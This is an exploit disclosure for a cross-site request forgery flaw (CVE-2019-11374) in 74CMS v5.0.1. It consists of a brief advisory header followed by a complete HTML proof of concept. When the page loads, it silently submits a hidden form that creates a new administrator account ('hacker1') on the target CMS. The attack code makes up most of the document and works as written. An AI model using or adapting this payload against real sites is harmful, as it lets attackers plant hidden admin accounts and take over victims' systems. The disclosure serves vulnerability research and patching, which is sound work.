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# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user # Date: 2019-04-14 # Exploit Author: ax8 # Vendor Homepage: https://github.com/Li-Siyuan # Software Link: http://www.74cms.com/download/index.html # Version: v5.0.1 # CVE : CVE-2019-11374 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI. <!--poc.html(creat a administrater)--> <!DOCTYPE html> <html> <head> <title> CSRF Proof</title> <script type="text/javascript"> function exec1(){ document.getElementById('form1').submit(); } </script> </head> <body onload="exec1();"> <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST"> <input type="hidden" name="username" value="hacker1" /> <input type="hidden" name="email" value="111111111@qq.com" /> <input type="hidden" name="password" value="hacker1" /> <input type="hidden" name="repassword" value="hacker1" /> <input type="hidden" name="role_id" value="1" /> </form> </body> </html> |